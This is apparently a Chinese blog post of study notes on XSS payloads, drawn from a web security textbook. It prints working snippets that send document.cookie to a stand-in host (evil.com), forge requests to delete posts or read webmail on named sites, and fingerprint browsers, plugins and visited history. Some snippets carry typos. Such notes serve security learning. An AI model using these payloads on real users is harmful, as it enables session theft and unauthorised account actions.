XSS Payload知识备忘
参考资料:《白帽子讲Web安全》吴翰清 著
参见:
百度百科 http://baike.baidu.com/view/50325.htm
维基百科 http://zh.wikipedia.org/zh-cn/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC
本文地址:博客园 http://www.cnblogs.com/go2bed/p/4136358.html
含义:
XSS 攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为“XSS PayLoad”。
用法:
Cookie 劫持攻击
攻击者先加载一个远程脚本:
http://www.a.com/test.htm?abc="><script scr=http://www.evil.com/evil.js ></script>
真正的XSS Payload现在这个远程脚本中,避免直接在URL的参数里写入大量的JavaScript代码。
在evil.js中,可以通过如下代码窃取Cookie:
var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
这段代码在页面中插入了一张看不见的图片,同时把document.cookie对象作为参数发送到远程服务器。
事实上,http://www.evil.com/log并不一定要存在,因为这个请求会在远程服务器的Web日志中留下记录。
这样就完成了一个最简单的窃取Cookie的XSS Payload。
黑客可以用这个Cookie直接登录。
防止方法: Cookie的“HttpOnly"标识可以防止"Cookie劫持"。
构造模拟GET和POST请求操作用户的浏览器
删除Sohu博客上的一篇文章
例如在Sohu上有一篇文章, 想通过XSS删除它,该如何做呢?
假设Sohu博客所在域的某页面存在XSS漏洞,那么通过JavaScript,这个过程如下:
正常删除该文章的链接是:
http://blog.sohu.com/manage/entry.do?m=delete&id=156713012
对于攻击者来说,只需要直到文章的id,就能够通过这个请求删除这篇文章了。
攻击者可以通过插入一张图片来发起一个get请求:
var img=document.createElement("img");
img.scr="http://blog.sohu.com/manage/entry.do?m=delete&id=156713012";
document.body.appendChild(img);
攻击者只需要让博客的作者执行这段JavaScript代码(XSS Payload),就会把这篇文章删除。在具体攻击中,攻击者将通过XSS诱使用户执行XSS Payload。
POST表单(Form)在Douban上发送消息
如果表单参数很多的话,通过构造DOM的方式,代码将会很冗长。所以可以直接写HTML代码:
var dd=document.createElement("div");
document.body.appendChild(dd);
dd.innerHTML='<form action="" method="post" id="xssform" name="mbform">'+
'<input type="hidden" name="ck" value="JiuY" />'+
'<input type="hidden" name="mb_text" value="testetst" />' +
'</form'
document.getElementById("xssform").submit();
或者:
通过XMLHttpRequest发送一个POST请求:
var url="http://www.douban.com";
var postStr="ck=JiuY&mb_text=test1234";
var ajax=null;
if (window.XMLHttpRequest){
ajax=new XMLHttpRequest();
} else if (window.ActiveXObject){
ajax=new ActiveXObject("Microsoft.XMLHTTP");
} else {
return;
}
ajax.open("POST",url,true);
ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
ajax.send(postStr);
ajax.onreadystatechange=function(){
if (ajax.readyState==4 && ajax.status==200){
alert("Done");
}
}
通过XSS Payload读取QMail用户的邮件文件夹
通过抓包并分析发现:点击收件箱后,真正能访问到邮件列表的链接是:
http://m57.mail.qq.com/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=6a1hx...
这里有一个无法直接构造出的值:sid。从字面推测,这个sid参数应该是用户ID加密后的值。
所以XSS Payload的思路是先获取到sid的值,然后构造完整的URL,并使用XMLHttpRequest请求到此URL,应该就能得到邮件列表了。XSS Payload如下:
if (top.window.location.href.indexOf("sid=")>0){
var sid=top.window..location.href.substr(top.window.location.href.indexOf("sid=")+4,24);
}
var folder_url="http://"+top.window.location.host+"/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid="+sid;
var ajax=null;
if (window.XMLHttpRequest){
ajax=new XMLHttpRequest();
} else if (window.ActiveXObject){
ajax=new ActiveXObject("Microsoft.XMLHTTP");
} else {
return;
}
ajax.open("GET",folder_url,true);
ajax.send(null);
ajax.onreadystatechange=function(){
if (ajax.readyState==4 && ajax.status==200){
alert(ajax.responseText);
//document.write(ajax.responseText);
}
}
邮件列表的内容成功被XSS Payload获取到。
XSS钓鱼
XSS并非万能。前面的例子都是Javascript脚本,缺少"与用户的交互",碰到验证码,和修改密码时需要输入旧密码,XSS Payload就会失效。
对于验证码,XSS Payload可以读取页面的内容,将验证码的图片URL发送到远程服务器上来实施--攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload,从而绕过验证码。
修改密码的问题比较复杂,为了窃取密码,攻击者可以将XSS与"钓鱼"结合。
实现思路很简单:利用Javascript在当前页面上"画出"一个伪造的登录框,当用户在登录框中输入用户名和密码后,其密码将被发送到黑客的服务器上。
识别用户浏览器
直接读取浏览器的UserAgent对象:
alert(navigator.userAgent);
但是userAgent是可以伪造的。这个信息不一定准确。
由于浏览器之间的实现存在差异,利用这种差异分辨浏览器几乎不会错误。
参考:
if (window.ActiveObject){ //MSIE 6.0 or below
//判断是否IE 7以上
if (document.documentElement && typeof document.documentElement.style.maxHeight!="undefined"){
if (typeof document.adoptNode!="undefined") { //Safari 3 & FF & Opera & Chrome & IE8
//MSIE 8.0
}
//MSIE 7.0
}
return "msie"; //MSIE6.0
} else if { typeof window.opera!="undefined") { //Opera独占
return "opera";
} else if (typeof window.netscape!="undefined"){ //Mozilla独占
if (typeof window.Iterator !="undefined") {
//Firefox 2.0以上支持这个对象
if (typeof document.styleSheetSets!="undefined"){ //FireFox 3 & Opera 9
//Firefox 3
}
//Firefox 2.0
}
return "mozilla";
} else if (typeof window.pageXOffset!="undefined"){ //Mozilla & Safari
try {
if (typeof external.AddSearchProvider!="undefined"){ //Firefox & Google Chrome
return "Chrome";
}
} catch (e) {
return "safari";
}
} else { //unknown
return "unknown";
}
安全研究者Gareth Heyes曾经找到一种更巧妙的方法,通过很精简的代码,即可识别出不同的浏览器。并可精简为一行代码。
详见 《白帽子讲Web安全》一书。
识别用户安装的软件
在IE中,可以通过判断ActiveX控件的classid是否存在,来推测用户是否安装了该软件。这种方法很早就被用于“挂马攻击"--黑客通过判断用户安装的软件,选择对应的浏览器漏洞,最终达到植入木马的目的。
看如下代码:
try {
var Obj=new ActiveXObject('XunLeiBHO.ThunderIEHelper');
} catch (e){
//异常了,不存在该控件
}
通过收集常见软件的classid,就可以扫描出用户电脑中安装的软件列表,甚至包括软件的版本。
一些第三方软件也可能会泄漏一些信息。比如Flash有一个system.capabilities对象,能够查询客户端电脑中的硬件信息。
在XSS Payload中,可以在Flash的ActionScript中读取system.capabilities对象后,将结果通过ExternalInterface传给页面的javascript。
浏览器的扩展和插件也能被XSS Payload扫描出来。比如对于Firefox的插件和扩展,有着不同的检测方法。
Firefox的插件(Plugins)列表存放在一个DOM对象中,通过查询DOM可以遍历出所有的插件:
所以直接查询"navigator.plugins"对象,就能找到所有的插件了。例如 navigator.plugins[0]
而Chrome的扩展(Extension)要复杂一些。有安全研究者想出了一个方法:通过检测扩展的图标,来判断某个特定的扩展是否存在。
在Chrome中有一个特殊的协议: chrome:// ,Chrome的扩展图标可以通过这个协议被访问到。比如Flash Got扩展的图标,可以这样访问:
chrome://flashgot/skin/icon32.png
扫描Chrome扩展时,只需在Javascript中加载这张图片,如果加载成功,则扩展存在;反之,扩展就不存在。
var m=new Image();
m.onload=function(){
alert(1);//图片存在
};
m.onerror=function(){
alert(2);//图片不存在
};
m.src="chrome://flashgot/skin/icon32.png"; //连接图片
CSS History Hack:
我们再看看另外一个有趣的XSS Payload---通过CSS,来发现一个用户曾经访问过的网站。
原理是利用style的visited属性---如果用户曾经访问过某个链接,那么这个链接的颜色会变得与众不同。
<script>
var websites=[ ... 要检测的访问过的网址列表,可能有几千个...];
//遍历每个URL
for (var i=0;i<websites.length:i++){
var link=document.createElement("a");
link.id="id"+i;
link.href=websites[i];
link.innerHTML=websites[i];
document.write('<style>');
document.write('#id'+i+":visited {color:#FF0000;}");
document.write('</style>');
document.body.appendChild(link);
var color=document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
document.body.removeChild(link);
if (color=="rgb(255,0,0)") { //visited
var item=document.createElement('li');
item.appendChild(link);
document.getElementById('visited').appendChild(item);
} else { //Not visited
var item=document.createElement('li');
item.appendChild(link);
document.getElementById('notvisited').appendChild(item);
}
}
</script>
但是Firefox已经在2010年3月决定修补这个问题。
获取用户的真实IP地址:
很多时候,用户电脑的IP地址隐藏在代理服务器或NAT的后面。
javascript本身并没有获取本地IP地址的能力。一般需要第三方软件来完成。比如,客户端安装了Java环境(JRE),那么XSS就可以通过调用Java Applet的接口获取客户端的本地IP地址。
在XSS攻击框架"Attack API"中,就有一个获取本地IP地址的API:
AttackAPI.dom.getInternalIP=function(){
try {
var sock=new java.net.Socket();
sock.bind(new java.net.InetSocketAddress('0.0.0.0',0));
sock.connect(new java.net.InetSocketAddress(document.domain,(!document.location.port)?80:document.location.port));
return sock.getLocalAddress().getHostAddress();
} catch (e) {}
return '127.0.0.1';
};
此外,还有两个利用Java获取本地网络信息的API。
详见 《白帽子讲Web安全》一书。
XSS Payload知识备忘的更多相关文章
- JVM内存知识备忘
又是一篇备忘... 主要记录一些知识,进行一些资源的汇总. 先来群里liufor大大提供的两张图,清晰易懂: Dockerized Java https://www.youtube.com/watch ...
- GIS部分理论知识备忘随笔
文章版权由作者李晓晖和博客园共有,若转载请于明显处标明出处:http://www.cnblogs.com/naaoveGIS/ 1.高斯克吕格投影带换算 某坐标的经度为112度,其投影的6度带和3度带 ...
- JavaScript中JSONObject和JSONArray相关知识备忘(网络转载)
1.json的格式,有两种: {"key": "value"} //JSONObject(对象) [{"key1": "value ...
- Flex知识备忘
div被flex遮挡 //如果设置z-index无效,那么设置flex加载参数 params.wmode = "Opaque";
- DataSet、DataTable和DataGridView知识备忘
datatable中,获取第i行j列的单元格内容: string str = DataSet.Tables[0].Rows[i][j].ToString():datagridv ...
- 知识备忘phpcms 简单解析一 数据表字段
PHPCMS V9帮助中心 数据结构 phpcms v9 数据... phpcms v9 数据... PHPSSO 数据库结... phpcms v9 数据表结构 在线版 PHPCMS V9 数据结构 ...
- React基础知识备忘
section-1 //react组件 export class Halo extends React.Component{ constructor(...args){ super(...args); ...
- excel 知识备忘
public void UpdateShapesColor(string value) { foreach (Microsoft.Office.Interop.Excel.Shape chart in ...
- java基础知识备忘
1.java内存分配 a.寄存器cup -- 暂不涉及 b.本地方法栈 -- 虚拟机调用windows功能用的,比如创建文件夹 c.方法区 -- 存放 .class文件,负责存放方法 d.栈 -- ...
随机推荐
- 高性能 Windows Socket 组件 HP-Socket v2.3.1-beta-2 发布
HP-Socket 是一套通用的高性能 Windows Socket 组件包,包含服务端组件(IOCP 模型)和客户端组件(Event Select 模型),广泛适用于 Windows 平台的 TCP ...
- jbox演示30种不同的调用方法
在线预览 插件说明 - jbox 是一款基于 jQuery 的多功能对话框插件,能够实现网站的整体风格效果,给用户一个新的视觉享受. 运行环境 - 兼容 IE6+.Firefox.Chrome.Sa ...
- 经典!HTML5 Canvas 模拟可撕裂布料效果
这是一个模拟可撕裂布料效果的 HTML5 Canvas 应用演示,效果逼真.你会看到,借助 Canvas 的强大绘图和动画功能,只需很少的代码就能实现让您屏息凝神的效果. 温馨提示:为保证最佳的效果, ...
- 【NodeJS 学习笔记02】入门资源很重要
前言 在我映像中,异步最早出现与ajax,当时我还在搞.net,然后.net居然出了一个异步的控件...... 虽然我最后知道了他不是异步的......然后,前端异步用得特别多,如果不是异步的程序,你 ...
- DOM中的事件处理概览与原理的全面剖析
事件是一种异步编程的实现方式,本质上是程序各个组成部分之间的通信,DOM支持大量的事件: 本文通过这几点向大家详细解析事件处理的基本原理:事件类型.事件目标.事件处理程序.事件对象.事件传播 最后再向 ...
- 国内最全最详细的hadoop2.2.0集群的HA高可靠的最简单配置
简介 hadoop中的NameNode好比是人的心脏,非常重要,绝对不可以停止工作.在hadoop1时代,只有一个NameNode.如果该NameNode数据丢失或者不能工作,那么整个集群就不能恢复了 ...
- Android+PHP服务器+MySQL实现安卓端的登录
时隔已久的一个任务,今天终于可以画上一个句号了.心情是万分的激动,虽然这份小成就来的有点迟但还是按捺不住心情的澎湃.下面我就先上几张图片来展示一下我的成绩 android源代码: 首先最重要的一件事是 ...
- iOS 开发之路(AES/DES加密实现) 三
最近接触的这个项目由于以前服务器上用的是DES/CBC/PKCS5Padding加密方式,为了让在iOS上的加密结果与服务器端保持一致,我做了很多尝试,现在分享给大家.PS:现在不推荐用DES了,只是 ...
- 网络初见&网络监测
这里需要下载一个第三方 Reachability-master 大家可以百度一下 下载之后把 Reachability拖进来 具体代码如下 #import "ViewController.h ...
- iOS-UIScrollView和UIPageControl的综合实力,滚动图,轮播图
本代码主要实现图片之间的切换 目录结构 代码 ViewController.m文件 #import "ViewController.h" @interface ViewContro ...